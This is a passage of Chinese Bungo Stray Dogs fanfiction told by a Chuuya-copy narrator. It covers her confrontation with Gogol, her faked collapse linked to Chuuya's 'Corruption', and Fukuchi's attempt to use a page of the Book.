好清脆的痛呼声,知道错了没!? 这一下,果戈里就是有腰椎间盘膨出都能被我踹回去。 大力出奇迹。 他扶着腰爬起来。 ……说实话,这个姿势有点糟糕。 敦敦的关注点显然和我不同,但被宰子驯化出来的战斗本能贯彻了“趁他病要他命”的六字真言,冲上去就打算嚼一口。 “住手,敦!” 我并不打算真的杀了果戈里。 听到我的话,白虎一个紧急刹车,牙齿堪堪停在了果戈里面前。 有了几次被「斗尖荒霸吐」压制的经历,再加上「书」的能量在我手上,老虎对我真是空前温顺。 我说动就动,我说停就停。 敦敦,真好使。 就是太年轻了,战斗经验还不够丰富。 我看果戈里已经攥紧了裂口的披风,显然是已经有了紧急应对之法,但却也被我的声音紧急叫停。 又要去猜别人的目的,真难顶啊。 果戈里究竟为什么要和我开战? 要说他抢「书」,那没什么好说的,福地樱痴当然不可能让「书」落到我手里,否则岂不是真的让我成了一枚无法控制的棋子? 我已经拿到了「书」的内在能量,把「书」的本体暂时给他也无不可。 是一种稳住他的手段。 对付完涩泽龙彦之前,还没有完全和他撕破脸的必要。 当然,我还是要做出一个阻止的姿态来,最好再去嘲讽福地樱痴几句,表现一点恼羞成怒的感觉。 这样才真实。 不过就像我刚才说的,我恨空间系异能力。 这种能力很容易出奇招。 在今天之前,果戈里没有出现在横滨过,所以不论是港|黑还是我,在没有开上帝视角的情况下,都不应该知道他的能力。 算是福地樱痴的一张小王。 这个「外套」是最好用的截胡能力。 他来抢「书」是应该的、是情理之中、意料之中的。 但是,他截胡了之后不跑路反而跟我打起来,那我就迷惑了。 果戈里又不是什么战斗狂人,看到我的中也皮就想着要讨教一下。 他只是单纯的神经刀。 毕竟福地樱痴是想要控制我,又不是想杀了我。 嘶——难道果戈里不是「天人五衰」成员? 接着「书」的名字,要杀了我? 杀了我有什么好处? 能阻止——或是至少福地樱痴的阴谋。 真跳反了? 我仔细观察着果戈里的状态——和衣服。 不,换阵营的人都换制服了,这是个规律——真正的场面人,就是用自己的装备说话。他还如主线一般,有着怪盗基德的装备。 大概是没换的。 就算是叛变了,表面也还绝对是「天人五衰」的一员。 那我狐假虎威一下,不过分吧? 我面色一沉,抱臂站直,当即摆起了架子,“怎么,福地先生这么快就打算和我撕破脸了?” “诶,这么快就确认了?” 果戈里的眼睛一亮,听着我的话像是兴奋了起来。 那这就是默认自己的立场了? 我嘴角一抽,“废话,你们都统一制服给异能力戴孝了,这还认不出来,我是眼瞎吗?” 第88章 话糙理不糙, 果戈里被我的话震得有些失神。 他大概是没想到,我做出判断的依据竟然如此草率。 凭借衣服来判断? 有点道理,但不多。 “你可真是比传闻中的还要有意思啊。”果戈里金色的瞳孔一眯。 我顿时有一种毒蛇盯上的错觉。 不, 或许不是错觉。 果戈里本来就是个危险人物。 我没有泄气, 露怯是不可能露怯的,反口道:“你倒是和我听闻的一模一样,果戈里——我最讨厌你这样的空间系。” 听到我直接叫破他的名字, 果戈里脸上的笑意就更浓了。 “你认识我?” “认识,怎么不认识?‘小丑’果戈里,异能力「外套」,能够将你身上的斗篷与远处连接起来, 范围是30米左右。”这么好的机会, 我这必须得给他一个下马威,也得给他背后的福地樱痴一点危机感。 就算在合作中,我也不是任人拿捏的软柿子,我昂着头,故意露出了轻蔑的眼神和嘲弄讽刺的笑, “我说的没错吧?” 这些, 果戈里脸上的震惊真是一点也藏不住了。 他表情一空,完全想不到我是从何处得来的情报。 他原本就是个神出鬼没的人, 即使是在「天人五衰」里, 也很少被要求直接出面。福地樱痴有意隐瞒他的能力,他也乐得看别人在他异能力的玩弄下, 无知而惶恐地丢掉性命的样子。 正因如此, 我此时轻松掌握他性命、能力、代号的状况, 才会让人觉得可怕。 他此刻一定在疯狂地问自己, 究竟是谁拿到了他的详细信息, 还将一切都告诉我的? 嗯……其实是朝雾卡夫卡告诉我的。 但果戈里显然不是个正常人。 我这样揭他老底,他在一愣之后,竟然是无可抑制地激动了起来。 “啊——你这个样子,可真叫人按捺不住。” 在? 抖艾慕是否走错了圈子? 我被他盯着,浑身都要起鸡皮疙瘩了。 “别爱我,没结果。” 果戈里完全不否认,只是问我,“你,是怎么知道的?” “我说,你们也太小看港口黑|手|党了、太小看太宰治了吧?”遇事不决,推给宰子,他背的锅不少,也不差我这一个,“什么都没评估清楚,如此草率,还敢来横滨?我还真是与虎谋皮了,这要是事败,你们可别把我拖下水。” 果戈里眼里闪过一丝惊异,带着杀意的眼神看向了敦敦。 显然,我这话就已经把对港|黑的背叛暴露在了明面上。 敦敦、黑蜥蜴对港|黑忠心世人皆知,这样的话给果戈里听到,他天然便以为需要灭口。 但我知道,宰子既然把敦敦放在这里,又让他来给我解开「书」,就有要我带一带敦敦的意识。 他原本的IF线计划被打乱,敦敦的作用和原先也有了区别。宰子的目的发生了变化,策略自然也要随之发生改变。 现在正是个好机会。 我抬手,力量引导着白虎的情绪,眼神扫过,给了敦敦一点暗示。 刚才开「书」之前,我就明确暗示过了。宰子让他来此,必然就是要他听我的。 此时,他自然不会忤逆我。 白虎俯首靠近了我,用自己毛茸茸的头蹭了蹭我的掌心,表示了驯服。 看着果戈里紧缩的瞳孔,我扬巴了一下,有些得意道:“有什么好吃惊的呢?难道真的以为我会坐以待毙,只等着别人的垂怜?那未免太小看我了。敦是太宰手里,除中也外的一张王牌,一个用过度暴露来隐藏真正力量的王牌,任谁都不会把这样一个黑蜥蜴的武斗派当作威胁。你看,你不就上钩了吗?” 不是武斗派不值得重视,而是黑蜥蜴的性质,就决定了这个队伍之中不应该有重要的棋子。 即使是未被洗白过的港|黑都会有意识的和黑蜥蜴划清界限,后者兼具黑手套和敢死队的职责,成员都是消耗品。 就更别提现在开始转型的港口黑|手|党。 正常思维都会认为,宰子不会把真正有用的部下放到黑蜥蜴里。 这也就是所谓的灯下黑。 完全就是宰子能做出来的事,果戈里不会怀疑。 我低头,看着被他藏在怀中的「书」。 “你也不用紧张,我既然做了选择,自然就不会后悔。太宰眼里揉不下沙子,我本来也没有什么回头路可言。”我说得果断,“但是你回去告诉福地樱痴,我也不是傻子,他最好不要想着糊弄我。否则,鱼死网破这种事,我可无所顾忌。不要自负于实力无可撼动,我或许打不过他,但要是把「天人五衰」的目的泄露给太宰治、泄露给侦探社、泄露给异能特务科,甚至是——钟塔侍从,只怕你们的日子也不会好过。” 倒也不是打不过,只是要让人以为我在忌惮福地樱痴的实力。 我可以表现得急躁——人为了活命,急躁是很正常的,但绝对不能表现出任何对福地樱痴的信任。 那个人多疑得很,我越是这样反复威胁,他越是会相信我与他合作的决心、 当然,也得适时表现出一点能力。 福地樱痴喜欢到处挖墙脚,也对我表达过欣赏,让他觉得我是个可造之才,也是一种降低他警戒的方式。 要除掉他,更要拔出萝卜带出泥,做得干净一点。 不能让人再起要消除异能力这样危险的事。 “太有意思了,「书」真有本事创造像你这样活灵活现的生命。” 虽然话好像没有说错,但总觉得被用“活灵活现”来形容,有一种诡异的感觉。 “有什么不可能的,岂不知世界都能被「书」揽入其中。”我耸了耸肩,随口放了几句狠话。 话说至此,也到了头。 果戈里没必要再试探我,我也没有给他留余地。 只要拿到「书」,他的任务就已经算完成了。 我实在懒得再应对福地樱痴的试探,有我这话的在前,过两天我就找个借口去催福地樱痴。 不要顾忌,赶紧给我实施计划啊,喂! 解决了他,我才能放心走。 身边的「龙彦之间」还没有消失。 但它的价值已经用完了。 宰子借着浓雾引出了福地樱痴的行动,也布下了一些我现在还无法完全看明白的东西——那片海域上发生的幻境百分之两百和他脱不了关系; 我用这片浓雾和敦敦解开了「书」的锁,完成了我的最优先事项,这下我就是随时都有可以回去的退路; 福地樱痴这是借助浓雾确认了我的心意,在港|黑严密的保护下,得到了「书」的本体。 大家都有美好的未来…… 除了涩泽龙彦自己。 远方的天空突然传来龙啸。 我抬头,就连浓雾都阻挡不了那股强烈的红光。 我身体骤然一烫,皮肤上的荒纹密集地发麻。 紧接着,内脏也发出了哀鸣。获得了「书」的力量之后,我就像是被它虚虚框在了这个世界一样。 我的胃抽动着,让我一阵干呕。 正准备离开的果戈里看到我这突如其来的变故,猛然回头。 能引起我这种强烈的呼应的,只有一人。 是中也,中也解放了「荒霸吐」的力量。 我脑内灵光乍现,瞬间就领会到了宰子走这一步的意图。 于是,我赶紧半跪在地,紧攥着胸口的衣物,发出痛呼。 得装得像一点。 爆发吧,我的演技! 我在体内疯狂运行着「荒霸吐」的力量,让身上的荒纹更亮。地面跟着我身体外逸散的红光震动着,我握紧拳头,加快血液循环,让自己的身体泛红,脖颈上青筋迸起。 这么多元素,应该足以展示我的痛苦了吧? 还真是不把涩泽龙彦当人,不把后者的价值榨干誓不罢休啊——宰子他不一定喜欢掌握一切的感觉,但他确实偏好于布置长线钓鱼。 但这一次,赶工几年扩张港|黑的习惯,让他逐渐习惯于使用快节奏的计策。 虽然福地樱痴已经暴露目的,对宰子来说,已经是敌明我暗的地步。可是,他却依然不想应对那无休止的谨慎。 他想赶紧解决问题,就要找机会刺激一下福地樱痴,让他尽快实施计划。 怎么刺激呢? 当然是利用我。 福地樱痴不是想要拉拢我吗? 他不是想要利用我来反向拿捏中也体内的「荒霸吐」,从而聚合异能力,再消除吗? 他不是以为我是被宰子创造出来,撑在「荒霸吐」副作用的工具吗? 那宰子就这样明目张胆地使用我。 ……好像是有些糟糕的台词? 不重要,那些小细节不重要。 重要的是,我和宰子真是英雄所见略同! 这种事就是赶早不赶晚。 宰子就是猜到了我的心急,所以才预判我一定不会拆穿他。 我默契地打起了配合,甚至用手按在胸口,逼着自己吐了一口血。 让一切显得更加真实。 「荒霸吐」的发动是会要命的,我倒要看看,福地樱痴好不容易劝服一个我来配合,他到底肯不肯放弃我的机会,等待下一个安全装置“复制品”。 我要是他,我就不敢赌一个不可控的未来因素。 趁着果戈里还没走,我努力表现让他来见证现在所发生的一切。 地面的震动越来越强烈,涩泽龙彦的“龙”之本体应该已经展现,他和中也的战斗动静很大,是随手抄起一块板砖都是高楼模样的程度。 都这么大动静,要是还不能把「荒霸吐」的使用和我的反应联系在一起,果戈里也就不用在这里混了,干脆回家卖红薯吧。 刺激福地樱痴一下,省得他天天找人监视我。 第89章 横滨, 一个三天一小打,五天一大炸的地方,饱经风霜, 承受住了所有异能力者的蹂|躏, 依然屹立不倒。 今天,也依然不会例外。 中也左手一座高楼,右手一个大厦的, 拿在手上就往涩泽龙彦最里怼。 没有对普通人的顾虑,他可以毫无顾忌地战斗。 不论打出战损,宰子都会照单赔偿。 中原·似乎被包养了·中也。 涩泽龙彦就更不必说了,他更不可能有任何顾忌。 过去双黑成名的事件在这条IF线上并没有被蝴蝶掉, 他们两个真可说是仇人见面分外眼红。 中也对涩泽龙彦二杀中。 打起来就是一个你死我活, 动静大得谁都无法忽视。 本就一直关注着横滨情况的福地樱痴自然也不会想不到事情的发展方向。 不需要我去找他,他就得来找我。 果戈里见我的状态,哪能不知道发生了什么。 他第一反应,大概是要抓我去和福地樱痴约定好的集合点。 但,我这种状态自然不能让人随便近身。 万一被发现我其实是没有那么痛苦可就麻烦了, 我得持续酝酿情绪。 我让异能力波动的红光无差别在附近胡乱攻击, 顺便戳一戳白虎屁股,让他赶紧帮帮忙。 事实上, 我有点拿不准现在的虎身到底是白虎的意识在主导, 还是敦敦在主导。 若是经历「龙彦之间」和「书」带来的变故之前,我肯定敦敦无法反抗白虎。 但在解开「书」上的锁之时, 白虎是以一种能量形式返回了敦敦的身体, 仿佛成了某种臣服的意图。 再加上一点我的「斗尖」枪带来的压迫, 敦敦不可能全无意识。 否则, 刚才的白虎不会对我那样顺从。 果然, 敦敦被我的力量一戳屁股,马上就有了行动。 宰子没在身边、我又一副不能说话的样子,只给了一个暗示,这就逼敦敦不得不自己思考。 他要思考,现在该做什么,我的暗示又是什么。 几秒的空档,就在果戈里冲上来的瞬间,敦敦行动了。 他用巨大的身体罩在我头顶,把我藏在了他的腹下。四肢下尖锐的爪子展露无遗,压低的中心和张开的血盆大口,毫无疑问昭示了他的态度。 果戈里想要带走我,没那么容易。 电光石火之间,他必须迅速作出决定。 我看热闹不嫌事大,再给自己呕一口老血出来,刺激他一下。 说真的,怎么觉得逼自己吐血如此容易。 这次的内出血这么容易的吗? 简直就像身体里已经有了伤口一样。 但我完全没感觉啊。 我思绪乱飞着,但这一口血,就直接把果戈里给喷走了。 真是不出我所料,这个时候的最优解不是和我拉扯浪费时间,而是尽快把这个情报送出去。 毕竟浓雾中通信无法使用,他是唯一一个确切知道我位置的人,而且他还是个空间系异能力者。 在我无法移动的情况下,只要掌握了地点,就算是掌握了先机。 我闭上眼睛,努力地感知附近的能量波动。 有手环的辅助,应该不会遗漏。 我从虎腹下探出头来,左看右看——嗯,果然已经没…… “觉得已经没人了?” 一个声音骤然出现,差点把我的魂都吓出来。我也顾不上那么多,往地下一倒,蜷缩身体就装着很难受的样子。 结果那声音一顿,接着就笑出了声来。 “能看到这样的小蛞蝓,就算是假的也着实有趣。” 惊吓在我的情绪中退却,理智回笼,我这才把声音和人名对上。 “宰子!?” 我跳起来,看着挑眉的宰子,意识到自己一个不注意把背后蛐蛐他的称呼说了出来。 “咳咳——你怎么在这儿?”我站起来,拍了拍身上的土,赶紧转移话题,“这里离中也有点远吧,一会儿怎么关「污浊」?” 「人间失格」也太Bug了,我竟然完全没有察觉到他的靠近。 按理来说,任何异能力的波动都无法逃过手环的感知。 但开隐身挂的人是这样的。 「人间失格」的牌面竟然比我想象当中还要足。 但是,我倒是没有起疑什么 宰子眯眼,一个跨步突然靠近,让我不由地往后一靠,一下子被埋入了敦敦的毛茸茸里。 “真是奇了,不是表现得很了解一切、很了解我吗,还真以为我只是做戏?”他眼睛一扫,紧盯着我的样子真让我发毛。 不知是不是我的错觉,他身上的绷带好像更多、也更厚了。整个人消瘦苍白得可怕,仿佛经历过什么可怕的事情一样。 难道是在涩泽龙彦的异能力里被人揍了? 不,被人揍可不会是这种肾虚的样子。 ……真不是我黑他,任谁连续好几年殚精竭虑不见天日,都会变成这样的。 和肾虚的原理一样,都是精力消耗太过——超过了人体所能承受的极限,自然就难以恢复、消耗生命。 但此时他的样子,却比上次见面还要憔悴。 不会是为了搞福地樱痴,又是一整周不睡觉吧? ……真正的狠人,就是敢于先对自己下手。 佩服,实在是佩服。 我视线下移,不自觉地朝衣服领口里探去。 但宰子却没有给我这个机会,一把抓住我的脸颊。 “是无知觉,还是——” 怎么突然提起了我无知觉的事? 我背后蛐蛐人家的外号被抓包了后,大脑转动得略有些迟钝,但宰子的神色、宰子的言语,暗示未免太过明显。 “等、等等,你不会真的把我和中也连在了一起吧?!” 这是世界意识接受设定后,只有「书」才能做到的事。 福地樱痴还需要布置手段来达成这些条件,但宰子是从最一开始就能轻易做到的。 我抬手,看着红到发艳的荒纹。 是呼应、还是连接? 虽然没有更清晰的感知,但我已经在宰子的眼神中找到了答案。 可恶,我就知道天下没有白吃的午餐。 但转念一想,一切又好像没什么坏处。 反正「污浊」的副作用就是暂时作用在我身上,也问题不大。 我不仅没有什么损失,还赚了一波情感分,中也这个横滨人情王的人情,也总算是落到了我头上。 还有这种好事? 试问,有哪个中厨能够拒绝和中也连接在一起的机会? 更何况,宰子还帮我搞定了「书」的能量问题! 虚假的双赢,一人赢一次;真正的双赢,每人赢两次。 我于是竖起大拇指,迅速对宰子表示了理解,“就得是这样才行,福地樱痴没那么好哄,他手上也有「书」的残页,谁知道他会不会用残页探究真相。做戏做全套,尤其是对他那种人,就要九真一假才有机会成功。” 宰子好像怔了一下。 按理来说不应该啊,他有什么好惊讶的? 如果想不到这些,他也不会提前把我的漏洞补起来。 毕竟,真正没想到要做得更逼真一点的人,是我。 “呐,我说,你就不怕我真把中也的风险转嫁给你吗?你应该很清楚,‘战斗到死’这几个字是怎么写的。「污浊」的后果、可不是谁都能承受的。” “如果谁都能承受,那我的价值何在?” 要是「荒霸吐」不够特殊,福地樱痴甚至都不会主动找上门来,他不找上门,我也不会一步步想到消除异能力的后果。 那才是真的危险。 “更何况,本来就应该把风险转嫁给我啊。”我理所当然地说道。 多好的机会,不然怎么和中也连接在一起! 谁懂这种我和我推紧密联系的含金量,别说是「污浊」,就是再裸一次都值了! 诶? 我的节操底线是不是越降越低了? 问题不大,人就是这样,裸|着裸|着就习惯了。 你看,只要豁得出去,宰子都能被我镇住。 不愧是我。 宰子似乎是想要说什么,但被我一把捂住了嘴。 “嘘!有声音——”我垂下眼,远远的,我就已经清晰感知到了熟悉的力量,“是果戈里的「外套」波动,除此之外还有其他人——福地樱痴还真着急,一分钟都不敢多等。你赶紧溜,万一要是条野采菊也跟着就麻烦了,他能听到你的心跳。” 宰子张了张嘴,说出来的分明不是最开始想说的东西,“别太小看了涩泽龙彦,毕竟是超越者的资质,虽然人不大聪明,但「龙彦之间」强度还是在的。雾气不仅会屏蔽信号,人的感知也会受到影响,连敦这样异能力中蕴含的感知都会受到限制——想要在这里保持异能力之外的感知,就更难,他条野采菊还做不到。” 显然,他已经调查过了。 不,也可能是根据之前在主线世界里看到的东西推测的。 “但是我能感知到诶,异能力波动,还挺清晰的。”我举手。 宰子一扫我举起来手腕上刻意露出来的手环,哪里不知道我故意这样说,就是想要引出来接下来的问题。 但他还是顺着我的意识回答了一句,“「书」的力量,总是不一样的。” “所以、所以——”我抓紧机会,在福地樱痴赶到之前提问,“你究竟是怎么改造的手环?” 谁能想到,宰子竟然还有这种技能在,是个不折不扣的高级技工。 学一学技巧,回去之后量产。 第90章 空间系不愧是空间系, 大变活人都不需要准备特殊道具。 每一步都有三十米,百米冲刺只要两秒,带人冲锋完全不是问题。 所以, 福地樱痴来得很快。 看到中也出手, 开着「污浊」打大龙,福地樱痴肯定着急死了。 生怕我先一步嘎掉,彻底打乱他的计划。 作为一切异能力集散点的「荒霸吐」实力之强盛, 福地樱痴最是了解。 想必,他也很清楚,涩泽龙彦绝不可能是中也的对手,再加上安全装置的风险转移……一旦「荒霸吐」的力量释放, 甚至会很快形成碾压之局。 而碾压不仅仅是针对涩泽龙彦, 也针对我这个风险转嫁复制品。 安全装置在最开始设计的时候,就是无法完全自控的设计,否则给了安全装置太多主动权,他们这些控制者不久危险了吗? 谁承想,过去的一个设计, 成了现在的坑。 无法自控的战至死亡蔓延到了我身上, 福地樱痴随时有可能前功尽弃。 所以,他这个着急的劲头催促着果戈里加班干活。 我趴在敦敦的腹下, 感受着异能力波动越靠越近。 宰子早就跑路得没了影子, 身后就是港|黑大楼、身下就是港|黑地牢,这是他的大本营, 藏人的地方不要太多。 我调整着姿势, 从敦敦的毛缝里观察着一闪一闪的异能力波动。 果然, 不仅仅是福地樱痴, 条野采菊也在他身侧。 本来嘛, 采菊就一直在监视我,即使一时被「龙彦之间」阻隔,也能最快和福地樱痴的会合。 采菊和果戈里并肩作战——好小众的关系。 如宰子所言,采菊的感知力在浓雾中很受限制,但同等环境下,他依然要比其他人耳聪目明,再加上他异能力的粒子化,有一说一还挺有用的。 即使是敦敦特质都不好和他打。 攻击方式太多变了,也能有效地穿过敦敦的身体,观察到我的状态。 宰子深谙迟则生变、急则生乱的精髓。 他就是不想给福地樱痴任何准备的机会,他就是要逼福地樱痴在急躁中被迫实施计划。 说实话,宰子还是这么喜欢把自己的计划隐藏在别人的计划中。 涩泽龙彦是福地樱痴找来的,横滨浓雾是福地樱痴策划的,但最终的成果似乎正在向宰子靠拢。 为了我的安全,福地樱痴甚至还特地挑了一个我在城市边缘的时机。 应该是想给我一个避开浓雾的机会,他也一定以为我会求稳。 骚瑞啊,我直接就是一个迎难而上。 我想了想没有跟在福地樱痴身边的其他「天人五衰」,至少就有铁啾,说不定是被用去拖住中也和宰子了。 只是福地樱痴也没有预料到,宰子和中也这对几年来都形影不离的组合,竟然会在这种时候分开。 我想,他的原计划一定和我最开始的判断方向一样,有「龙彦之间」的无差别效果在,宰子必须要和中也接触来发挥「人间失格」的效果。 想要拖住这样的中也和宰子并不难,但当他们二人分开,中也完全没有小打小闹的意思,上来就是一个开大,又有谁能阻止呢? 从这一步开始,福地樱痴的计划就已经完全偏离了轨迹。 诚然,他也有自己的备用方案。 最好的好办法就是尽快杀了涩泽龙彦,解除横滨浓雾,那样自然会有「人间失格」来无效化「污浊」,我也就不会死亡。 但,「书」的出现同样是一个不得不应对的变数。 要是错过这个机会,想要再找一次这种神器下落可就难了。 估计涩泽龙彦对「书」的感知也是中也的行动信号。 一旦「书」的位置暴露,中也就可以准备开「污浊」大战。有这种明确会发生的事件,即使在浓雾中无法联络,中也也能准确把握宰子的计划节奏。 还挺牛。 一切都在朝着宰子期望的方向发展。 我算着时间差不多,一巴掌拍在了粒子化的采菊的脸上,挥手给敦敦发信号让他抬抬肚子,给我一个爬出去的机会。 我可得接得住宰子给我分配的剧本,好好完成自己的角色。 随着中也的行动,我内脏中的裂痕也越来越多,吐血不要太容易。 我的演戏难度直线下降。 染血的手扶着敦敦,勉强站起来,脸上的荒纹带着中也的战意,“滋滋”地灼烧着周围的浓雾。 真实性拉满。 果然,一见我这样,就连福地樱痴这种级别的老狐狸都无法掩藏自己的情绪。 赶紧冲上来检查我的情况。 我如临大敌,提起十二分的心思应对。 把握好度,既不能表现得太轻松,也不能表现得太惨烈。 太轻松,容易引起对「荒霸吐」极为熟悉的福地樱痴的怀疑;但如果太惨烈,他万一判定我废了,直接放弃我转而等下一次机会,可就麻烦了。 诶,话说「书」不在宰子手上的话,原则上来说、按照福地樱痴最开始的猜测,应该就只可能有我这一个复制品了吧? 宰子没有「书」作为基地,福地樱痴没有中也的配合作为辅助,二人谁也造不出下一个安全装置复制品。 除非福地樱痴能在自己行踪暴露的情况下,还敢把「书」还给宰子;否则,我就成了他短时间内唯一的选择。 宰子,这也是你计划的一部分吗? 6的,6的。 “荒,你的状态如何?” 虽然这样问着,但福地樱痴却丝毫不客气,已经开始对我“上下其手”。他对「荒霸吐」和安全装置的运行原理非常熟悉,没有人比他更清楚安全装置的极限。 我一边呕血、一边压制体内的躁动。 有「书」的能量就是好啊,手环在手,想要什么状态都能捏出来。 “……死不了!” 我拿出了往上学来整活的气泡音,逞能地不肯低头。 总觉得自己的刻意气泡音有点油腻,应该没有演过头吧? 采菊的眼神一直落在我身上,这么近的距离,他一定能听到我的心跳、能听到我血液在体内奔腾的声音。 福地樱痴负责判断我作为安装装置的力量平衡,而采菊则是被用来探究我的身体情况,顺便再用几句话来试探试探我的精神状态。 分工明确,缺一不可。 我飙着演技,一面展示身体脆弱,比如撕开半个心脏、扯一扯血管、搞一搞皮肉什么的,一边又展示着自己的坚强意志。 主打的就是一个求生意志强得不得了。 敦敦在旁边急躁地甩着尾巴,“呼呼”地威胁着想要靠近的果戈里。 果戈里这家伙是个神经刀,对谁都没那么忠诚。虽说这里最终的反派大Boss百分百都是福地樱痴,但一直没漏视野的陀总还是让我有些心神不宁。 这么高人气的角色没有出场机会? 知不知道有多少人盼着看费佳与太宰的剧本杀? 鬼知道果戈里究竟站哪边,鬼知道他会不会突然出现奇思妙想,给我搞到米奇妙妙屋去。 再一次,空间系真的很难搞。 没必要赌他的目的,直接让敦敦提前看管不是更保险吗? 福地樱痴没有心思注意敦敦对果戈里的敌意,只是兀自沉思着,他在斟酌。 虽然情况把他架到了火上,但最终做决定的仍旧是他,他现在仍有选择。 可一旦开弓,可就没了回头箭,福地樱痴很清楚,不论是现在动手还是未来动手,他永远只可能有一次机会。 没有人会小瞧宰子的思考力和行动力。 福地樱痴抓着我手腕的力量在增加,他的心理压力一点不比我小。他在最终决定之前抬头,看了一眼采菊。 那眯眯眼怪物皱着眉,神情严肃。显然,他也知道,自己的回答将直接影响福地樱痴的决定。 他非常谨慎,甚至半蹲下来,尽可能地靠近了我,将「龙彦之间」对他感知的影响降到了最低。 宰子还真是没说错,即使采菊的感知能够扩张,他也很难发现宰子——因为采菊的注意力,会一直集中在我身上。 我抿嘴,将对中也连接的压制放开。顿时,大量的「污浊」逆着连接方向,冲入了我的身体,我再借助手环放大这种「污浊」效果,这一阵重创,我胸口直接裂开了一条大口子。 所谓安全装置——就是得既要能够控制住「荒霸吐」,又要能被创造者控制,才算得上是安全。 设计不能毫无瑕疵,福地樱痴所策划的资料之中,中也的心脏是一个无法长时间承受过强压力的内脏。 所以胸口的撕裂,是一个标志。 一个距离安全装置破碎只有一步之遥的标志。 也是福地樱痴无法再拖延思考的标志。 「荒霸吐」的力量疯狂泄露,一个在天,一个在地,一个……在海。 我似乎隐约感觉到了,这安全装置撕裂时,海底本体的躁动。 那东西很麻烦的,能不能赶紧做决定! 我狠狠地瞪视着。 终于,条野采菊多次验证确认了我身体的颓败,对着福地樱痴点了点头。 “虽然此时不是最好的时间,但机会转瞬即逝。” 福地樱痴做出了决定,他俯视着狼狈的我,将主动权全部掌握在自己手上,半是劝导、半是威胁,“看来港|黑首领那里也出了点不在意料之中的意外,他不在中原中也身边。和涩泽龙彦本体的高空战斗,注定了他无法轻易接触「污浊」来释放「人间失格」的效果。你已经被使用了。” 他看着旁边的敦敦,心中的怀疑一闪而过,“或许他也是故意借助这个机会来处理你,只怕你撬墙角的行动根本没有瞒过他的眼睛,所以才让太宰治对你起了杀心。” 不愧是老谜语人了,自己脑补就是想得快。 “老夫可以选择择日再实施计划、可以选择等下一个机会——” 啊? 别啊,想了半天,你不会要放弃我吧! 不要啊! 你不咬钩吗!? “但是你没有选择。”福地樱痴把紧迫性和必要性转嫁到了我身上,“老夫很欣赏你,所以——你最好提起一百二十分的努力,别让老夫失望。” 哦,原来不是不咬钩,而是要刺激我的主观能动性。同时占据上风,相当于我有求于他。 我就说,我这个鱼饵还是很有诱惑力的。 不要因为我是一朵娇花而怜惜我,赶紧来吧! 把你的底牌交出来,让我看看,「荒霸吐」真正的用法,它如何能够将异能力全数聚集起来。 90-100 第91章 说实话, 把自己和另外一个人联系在一起的感觉,怪怪的。 不完全是共感,更像是将自己的身体敞开, 任人宰割。 求生的本能在叛逆, 想要反抗这样的连接。 和我的主观意识没有任何关系,身体有自己的防御本能。 就像现在这样。 天空中的中也压着涩泽龙彦揍,龙头被踩在红光的脚下, 看上去极为狼狈。 没有了副作用的桎梏,中也的实力简直是更上一层楼。 原本就打不过他的涩泽龙彦,现在完全连还手之力都没有。 但不知为什么,明明有如此大的优势, 中也却迟迟不肯下死手, 仿佛是在故意拖延。 恐怕不是“仿佛”。 此时的福地樱痴自然不会有精力分析头顶的战局,甚至,他大概还在心里祈祷,不希望战局结束。 毕竟若是中也赢了,副作用全部锁死在我身上, 原则上来说, 我应该也会很快嘎掉。再加上要确保我不把副作用反送回中也体内,战局结束之后, 他和我的连接程度也必然会降低, 或是被直接割断。 ——按照正常的推测,宰子必然要有这样的后手。 福地樱痴不会想不到这种后手。 说实话, 中也拖着涩泽龙彦不下杀手, 不就是为了勾引福地樱痴吗? 我眯着眼睛, 看着福地樱痴的动作。 他打开了「书」, 从怀中抽出了一个被折成小三角的白纸。 我一下就认了出来, 这就是「书」的残页。 一直被福地樱痴贴身携带的残页。 我演技上头,一边挣扎着吐血,一边涣散着视线仔细观察那个小三角。 并非完全的白纸,我隐约能够看到细密的小字。 太小了,小得不像是人能写出来的字,而像是机器无限缩小的打印。 我看不清、认不出。 但即使无法在此时翻译,猜也大概能猜出来,他已经把一切都押宝在了我身上,这必然就是能够让我逆向控制和中也连接通道的文字。 甚至不仅只是如此。 在福地樱痴的认知之中,宰子是在拥有一整本「书」的情况下,创造出了我、创造出了这种连接。 想要用一张纸就倒反天罡显然困难。 这也是他必须得到「书」的原因之一。 他需要借助更大的力量。 但…… 「书」已经被我榨干了啊! 我等了几秒,发现在残页的波动之下,「书」没有一点呼应的意思。 再等下去就要暴露了。 不行,不行。 我得手动助力。 我悄咪咪地挪动手腕,催动着手环,让力量流向残页、流向福地樱痴。 拼多多帮他砍一刀,让他掉入提现陷阱。 福地樱痴只对「书」的无动于衷狐疑了一瞬,马上,奔涌而来的力量就让他没有了思考的余力。 如此危险而庞大的力量,需要的是绝对的专注。 周围的一切警戒,都被交给了果戈里和采菊。 即使周围没有危险,这俩人也能互相牵制一下,不会让某个“万一”瞬间危害到福地樱痴的行动。 我想,这应该就是他要带这俩人行动的原因之一。 「天人五衰」都是危险人物——危险人物,又怎会那样好控制。 福地樱痴有控制人的手段和心智,自然也懂的制衡的重要。 这几步计划之中,他的行动,着实非常顺畅。 如有神助的那种顺利。 连接的两端——我和中也都在有意识的配合,「书」消散的能量有我补充,我还得时不时吐两口血、皱一皱眉或是再呻吟两声,让他感受到我的痛苦和急迫。 一道电流沿着我的掌心钻入心脏,又顺着我的心脏,冲向了云端。 天空之上、浓雾之外,中也的身体一阵发麻。 强烈的电击是异能力分离的前置条件之一。 异能力分离,和「荒霸吐」的分离有异曲同工之妙。 有这种感觉才对。 有这种感觉,才说明我和宰子的判断没错。 福地樱痴的第一步,果然是通过连接,把「荒霸吐」分离出来。 不分离,又如何转移? 中也一声戏腔非常清晰,整个横滨都知道这是谁的声音。 毕竟横滨没有第二个戏曲爱好者了。 福地樱痴脸上闪过一丝明显的喜色,打开的「书」中夹着写满了字的小三角。我控制着手环力量流过「书」体之后再具象化成文字,重新流入我的身体。 在外兜个圈子,力量仍然要回到我这里。 绝不能给福地樱痴一点掌握「书」力的机会。 当然,沿着我心脏流向天空的力量也是真实存在的。 只不过,这些力量所经过的,也不仅仅是福地樱痴在残页上写下的文字。力量在穿过「书」时,还带走了宰子写下的最后几笔。 比福地樱痴的文字成笔更晚、也更新。 是覆盖在福地樱痴三角残页之上的文字,只在他的文字之后便会马上生效。 今日之计必须要逼福地樱痴在此地实施,也是确保了福地樱痴再没有更多机会,能在「书」上书写继续够覆盖宰子最后一页的文字。 细密的麻痒蹦腾在中也的身体内。 我感同身受。 没有疼痛压着,我实在是想笑——被挠了痒痒肉一样的想笑。 我咬着嘴唇,把这辈子伤心的事都想了一遍,尽力让自己的表情扭曲起来。 